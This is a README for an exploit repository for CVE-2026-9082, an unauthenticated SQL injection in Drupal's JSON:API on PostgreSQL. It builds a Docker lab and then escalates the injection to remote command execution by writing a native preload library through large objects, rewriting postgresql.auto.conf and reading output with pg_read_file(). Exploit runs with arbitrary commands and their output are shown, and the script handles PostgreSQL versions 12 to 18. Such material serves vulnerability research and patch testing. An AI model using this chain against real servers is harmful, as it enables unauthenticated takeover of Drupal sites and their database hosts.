## https://sploitus.com/exploit?id=7494D4F4-A649-54A0-92A2-96DC1D8B29D1
# CVE-2026-9082 Drupal PostgreSQL SQLi to RCE
This repository contains a local lab and a short exploit for the Drupal JSON:API PostgreSQL SQL injection described in the Ambionics article.
The important part of the exploit is the PostgreSQL escalation: once the injection can evaluate a `SELECT` expression as a PostgreSQL superuser, it writes a native preload library through large objects, reloads `postgresql.auto.conf`, triggers `session_preload_libraries`, and retrieves command output with `pg_read_file()`.
The exploit reads `version()` first and builds the PostgreSQL module magic block for the detected major version. It handles the PostgreSQL 12, 13-14, 15-17, and 18+ module ABI layouts. The local compiler must still produce a shared object for the same CPU architecture as the target PostgreSQL server.
The lab uses PostgreSQL 18.4, the latest PostgreSQL release at the time of writing. The PostgreSQL escalation path has been tested from PostgreSQL 12.20 through PostgreSQL 18.4.
## Contents
```text
.
โโโ docker-compose.yml
โโโ drupal/
โ โโโ Dockerfile
โ โโโ entrypoint.sh
โ โโโ seed-content.php
โโโ drupal-postgres-preload-rce.py
โโโ requirements.txt
โโโ README.md
```
The lab uses:
```text
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache
```
Drupal is connected to PostgreSQL as the `postgres` superuser so the SELECT-only SQL injection can be escalated to RCE.
## Requirements
```sh
docker compose version
python3 --version
cc --version
```
Example output:
```text
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
```
## Start the lab
Build and start the containers:
```sh
docker compose build --quiet
docker compose up -d
```
Expected output:
```text
Container cve9082-pg18 Started
Container cve9082-drupal Started
```
Wait for Drupal to become healthy:
```sh
docker compose ps
```
Expected output:
```text
NAME SERVICE STATUS
cve9082-pg18 db Up ... (healthy)
cve9082-drupal drupal Up ... (healthy)
```
The lab listens on:
```text
http://127.0.0.1:8089
```
## Verify the lab
Check the PostgreSQL version:
```sh
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'
```
Expected output:
```text
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
```
Check that JSON:API exposes the seeded article:
```sh
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'
```
Expected output:
```json
{
"jsonapi": {
"version": "1.0"
},
"data": [
{
"type": "node--article"
}
]
}
```
## Install Python dependency
```sh
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt
```
Expected output:
```text
Successfully installed requests-...
```
## Run the exploit
Execute `id` through the unauthenticated JSON:API SQL injection:
```sh
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id
```
Expected output:
```text
[+] checking SQL injection context
version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
current_user: postgres superuser=True
data_directory: /var/lib/postgresql/18/docker
module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
1400/14080 bytes
...
14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
__exit=0
[+] restoring/clearing PostgreSQL preload settings
152/152 bytes
```
Run another command:
```sh
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'
```
Expected output:
```text
[+] reading command output
Linux ... x86_64 GNU/Linux
__exit=0
```
## Stop the lab
Stop containers but keep the database volume:
```sh
docker compose down
```
Stop containers and delete the database volume:
```sh
docker compose down -v
```